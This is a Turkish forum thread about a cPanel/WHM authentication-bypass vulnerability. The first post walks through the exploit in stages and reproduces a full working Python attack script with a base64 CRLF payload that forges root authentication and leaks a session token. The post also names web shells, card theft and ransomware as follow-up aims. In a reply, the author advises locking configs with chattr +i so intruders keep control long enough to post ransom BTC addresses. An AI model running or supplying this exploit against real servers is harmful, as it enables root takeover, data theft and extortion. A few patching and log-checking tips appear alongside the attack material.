Hoşgeldin Misafir

CVE-2026-41940 cPanel/WHM Authentication Bypass

PERSEVERACE

7 Eyl 2023
112 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Selamün Aleyküm ve rahmetullahi ve berakatühü beyler,

Bugun su cPanel'deki meshur CVE-2026-41940 acigiyla alakali Githubda gezerken watchTowr Labs in yayinladigi PoC kodunu (authbypass-RCE.py) denk geldim. Bilmeyenleriniz veya bu nasil calisiyo diyelenleriniz vardir diye asama asama nasil somurulur onu anlatiyim dedim.

Sistem aslinda basit bi mantik hatasina dayaniyo "Missing Authentication". Normalde disardan bi giris denemesinde sunucu sifreyi bekler ya hani. Adamlar bunu bypass etmisler asama asama gosteriyorum.

1. Asama: Session Koparma (minting a preauth session)Script calistiginda hedefe bi baglanti atiyo ve sifre falan girmeden once cpanelin bize verdigi gecici o bos session id yi (vQ2WC5Bexp0oFSa7 gibi bisey) aliyo. Daha burda giris yapilmadi bile ama adamlar eline gecici kimligi almis oluyo.

2. Asama: Olayin Koptugu Yer CRLF (sending the CRLF injection)Iste butun zafiyet burda calisiyo. Bu adamlar pythonla normal bi sifre gondermek yerine araya CRLF yabi su satır atlatma karakterlerini falan cakarak (Basic auth ile) sunucuya bi istek atiyolar. cpanel sunucusu bunu ayrıştıramayıp kafasi karisiyo ve HTTP 307 dönüp yanlislikla gecerli bi token siıdirıyo disari (/cpsess falan diye bişey).

3. Asama: Kandirmaca (firing do_token_denied)Sonra bu elamanlar sızan o tokeni aliyolar ama token tam aktif degil gibi düşünün. Bilerek gidip bi yetki hatasi tetikliyolar (do_token_denied). Bunu yapmalarindaki amac ne biliyo musunuz? cPanel in kendi kodundaki hatayi kullanip o calmis olduklari tokenı sunucunun ram'ine (cache) "bu adam yetkilidir" diye zorla yazdırmak. Sistem cöplükteki kod parcasini gercek yetki gibi algiliyo.

4. Asama: Gecmis olsun (verifying we're WHM root)Son adimda da zaten hersey bitmis. Cache e yazdirilan o biletle sunucuya diyolar ki "bana versiyonu soyle". Sunucu da sazan gibi HTTP 200 donup {"version":"11.110.0.89"} falan diyip WHM root yetkilerini elinize veriyo.

Yani adamlar python authbypass-RCE.py --target site.com:2087 yaziyo. O 4 islem 2 saniyede bitiyo, sonra karsinda root shell var. İcerde istedigin turlu Web Shell at, databaseden musteri kartlarini cek yada git fidye virusu (Ransomware) kur..

Eger cPanel kullaniyosaniz 136.0.5 ve uzerine cekin hemen versiyonu. Yoksa WAF tan falan cpanel url'lerine (/cpsess.../login/ vs) gelen garip User Agent'ları veya python scriptlerini droplayin aninda. Giren coktan girmisse icerde /usr/local/cpanel/logs/access_log 'dan bi taratin ters bi giris falan var mi.

Umarim isinize yarar koruyun sunuculari kardeşlerim.

#########################################################################################################################

import argparse
import base64
import json
import re
import sys
import urllib.parse
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

banner = """ __ ___ ___________
__ _ ______ _/ |__ ____ | |_\\__ ____\\____ _ ________
\\ \\/ \\/ \\__ \\ ___/ ___\\| | \\| | / _ \\ \\/ \\/ \\_ __ \\
\\ / / __ \\| | \\ \\___| Y | |( <_> \\ / | | \\/
\\/\\_/ (____ |__| \\___ |___|__|__ | \\__ / \\/\\_/ |__|
\\/ \\/ \\/
watchTowr-vs-cPanel-WHM-AuthBypass-to-RCE.py
(*) cPanel/WHM Authentication Bypass - Detection Artifact Generator
- Sina Kheirkhah (@SinSinology) of watchTowr (@watchTowrcyber)
CVEs: [cve-2026-41940]
"""
print(banner)



# pre-built base64 of:
# root:x\r\nsuccessful_internal_auth_with_timestamp=9999999999\r\nuser=root\r\ntfa_verified=1\r\nhasroot=1
PAYLOAD_B64 = (
"cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5"
"OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x"
)

def parse_target(url):
u = urllib.parse.urlsplit(url.rstrip("/"))
return u.scheme, u.hostname, u.port or 2087

def discover_canonical_host(scheme, host, port):
# cpsrvd 307s us to the right hostname when our Host header is wrong
try:
r = requests.get(
f"{scheme}://{host}:{port}/openid_connect/cpanelid",
verify=False,
allow_redirects=False,
headers={"Connection": "close"},
timeout=10,
)
except Exception as e:
print(f"[!] couldn't reach the target: {e}")
sys.exit(1)
loc = r.headers.get("Location", "")
m = re.match(r"^https?://([^:/]+)", loc)
if m:
return m.group(1)
return host

def make_session():
s = requests.Session()
s.verify = False
return s

def http(s, method, scheme, host, port, canonical, path, **kw):
# always send to the IP, but spoof Host so cpsrvd doesn't redirect us
headers = kw.pop("headers", {})
headers.setdefault("Host", f"{canonical}:{port}")
headers.setdefault("Connection", "close")
return s.request(
method,
f"{scheme}://{host}:{port}{path}",
headers=headers,
allow_redirects=False,
**kw,
)

def stage1_preauth(s, scheme, host, port, canonical):
print("[1] minting a preauth session...")
r = http(s, "POST", scheme, host, port, canonical,
"/login/?login_only=1",
data={"user": "root", "pass": "wrong"})
# need to get the cookie from the raw header (requests url-decodes it)
cookie_value = None
for k, v in r.raw.headers.items():
if k.lower() == "set-cookie" and v.startswith("whostmgrsession="):
cookie_value = v.split("=", 1)[1].split(";", 1)[0]
cookie_value = urllib.parse.unquote(cookie_value)
break
if not cookie_value:
print("[!] /login didn't issue a whostmgrsession cookie")
sys.exit(1)
# strip the ",<obhex>" tail. that's what makes the encoder skip pass on stage 2.
if "," in cookie_value:
session_base = cookie_value.split(",", 1)[0]
else:
session_base = cookie_value
print(f" session base = {session_base}")
return session_base

def stage2_inject(s, scheme, host, port, canonical, session_base):
print("[2] sending the CRLF injection (Basic auth + no-ob cookie)...")
cookie_enc = urllib.parse.quote(session_base)
r = http(s, "GET", scheme, host, port, canonical, "/",
headers={
"Authorization": f"Basic {PAYLOAD_B64}",
"Cookie": f"whostmgrsession={cookie_enc}",
})
# the 307 leaks the cp_security_token in the Location header
loc = r.headers.get("Location", "")
m = re.search(r"/cpsess\d{10}", loc)
if not m:
print(f"[!] no /cpsess token leaked (HTTP {r.status_code}). target may be patched.")
sys.exit(1)
token = m.group(0)
print(f" HTTP {r.status_code}, leaked token = {token}")
return token

def stage3_propagate(s, scheme, host, port, canonical, session_base):
print("[3] firing do_token_denied to propagate raw -> cache...")
cookie_enc = urllib.parse.quote(session_base)
r = http(s, "GET", scheme, host, port, canonical, "/scripts2/listaccts",
headers={"Cookie": f"whostmgrsession={cookie_enc}"})
body = r.text or ""
if r.status_code == 401 and ("Token denied" in body or "WHM Login" in body):
print(f" HTTP {r.status_code}, gadget fired")
else:
print(f"[!] do_token_denied didn't fire as expected (HTTP {r.status_code})")
sys.exit(1)

def stage4_verify(s, scheme, host, port, canonical, session_base, token):
print("[4] verifying we're WHM root...")
cookie_enc = urllib.parse.quote(session_base)
r = http(s, "GET", scheme, host, port, canonical,
f"{token}/json-api/version",
headers={"Cookie": f"whostmgrsession={cookie_enc}"})
body = (r.text or "").strip()
print(f" /json-api/version -> HTTP {r.status_code} {body[:120]}")
if r.status_code == 200 and '"version"' in body:
return True
if r.status_code in (500, 503) and "License" in body:
# license-gated but we got past auth
return True
return False

def call_whm_api(s, scheme, host, port, canonical, session_base, token, function, params):
cookie_enc = urllib.parse.quote(session_base)
qs = "api.version=1"
for k, v in params.items():
if v is None:
continue
qs += f"&{urllib.parse.quote(k)}={urllib.parse.quote(str(v))}"
path = f"{token}/json-api/{function}?{qs}"
r = http(s, "GET", scheme, host, port, canonical, path,
headers={"Cookie": f"whostmgrsession={cookie_enc}"})
print(f" {function} -> HTTP {r.status_code}")
body = r.text or ""
try:
j = json.loads(body)
print(json.dumps(j, indent=2)[:1500])
except Exception:
print(body[:1500])




def do_passwd(s, scheme, host, port, canonical, session_base, token, password):
print(f"[*] changing the root password")
call_whm_api(s, scheme, host, port, canonical, session_base, token,
"passwd",
{"user": "root", "password": password})

parser = argparse.ArgumentParser()
parser.add_argument("--target", required=True, help="WHM URL, e.g. [URL]https://target:2087[/URL]")
parser.add_argument("--hostname", default=None, help="override Host: header (auto-discovered if empty)")
#parser.add_argument("--password", required=True, help="new password for the root user")
args = parser.parse_args()



scheme, host, port = parse_target(args.target)
canonical = args.hostname or discover_canonical_host(scheme, host, port)
print(f"[0] hostname = {canonical}")
s = make_session()
session_base = stage1_preauth(s, scheme, host, port, canonical)
token = stage2_inject(s, scheme, host, port, canonical, session_base)
stage3_propagate(s, scheme, host, port, canonical, session_base)
if not stage4_verify(s, scheme, host, port, canonical, session_base, token):
print("[!] auth bypass didn't land, not running the action")
sys.exit(1)

#do_passwd(s, scheme, host, port, canonical, session_base, token, args.password)

print(f"[+] now just login to {args.target} and use the terminal option to get a root shell")


------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

1. "Zehirli" Yük (PAYLOAD_B64)​

Kodun başında şöyle bir değişken var: PAYLOAD_B64.Bu Base64 kodu çözüldüğünde ortaya şu metin çıkıyor:

root:x\r\nsuccessful_internal_auth_with_timestamp=9999999999\r\nuser=root\r\ntfa_verified=1\r\nhasroot=1
Saldırgan bunu gönderdiğinde, cPanel sunucusundaki ayrıştırıcı (parser) hata yapıyor. Sunucu, bu metindeki successful_internal_auth... kısmını görünce şifre kontrolü yapıldığını ve kullanıcının doğrulandığını zannediyor.

2. CRLF Enjeksiyonu (stage2_inject)​

Kodun stage2_inject fonksiyonu, HTTP başlıklarına müdahale ediyor. Normalde satır atlamak için kullanılan \r\n (CRLF) karakterlerini kullanarak sunucuya sahte komutlar enjekte ediyor. Eğer sunucudan bir /cpsess... (oturum bileti) dönerse, kapı aralanmış demektir.

3. Önbelleğe Sızma (stage3_propagate)​

Burası en kurnazca yer. stage3_propagate kısmı, listaccts (hesapları listeleme) gibi yetki gerektiren bir sayfaya bilerek hatalı istek atıyor. Bu sayede, az önce çalınan "token" sunucunun hafızasına (cache) "bu geçerli bir giriştir" diye zorla işleniyor.

4. Root Yetkisinin Onayı (stage4_verify)​

Son aşamada kod, json-api/version adresine gidiyor. Eğer sunucu "versiyonum şudur" diye cevap verirse, saldırgan artık sunucunun Root (en yetkili) kullanıcısı olduğunu kanıtlamış oluyor.
 

CwMuhibban

20 Ara 2025
67 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Aleyküm selam

Ücretli ve lisanslı hosting ve sunucu yönetim otomasyonunda bu seviyede kritik bir açık bulunması gerçekten absürt cpanel fiyat politikası olarak pahalı ayrıca 100 kullanıcıyı aştığınız zaman user başına ek ücret alıyor ciddi kazanç elde edilen bir sistemde bunların yaşanması %100 güvenliğin mümkün olmadığı tezini kanıtlıyor
 

PERSEVERACE

7 Eyl 2023
112 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
chattr +i yapacak kadar içeri giren adam, logları temizlemeyi unutursa o BTC'leri harcayacak yer bulamaz :D dipnot olsun# teşekkür ederim.
Aleyküm selam. Teşekkürler ek bilgi: chattr +i ile güncelleme configini kilitleyip ondan sonra bu işlemi yapın yoksa esxi vcenterdan şifre günceller her şeyi geri alır daha sonra btc adres falan yazarsınız.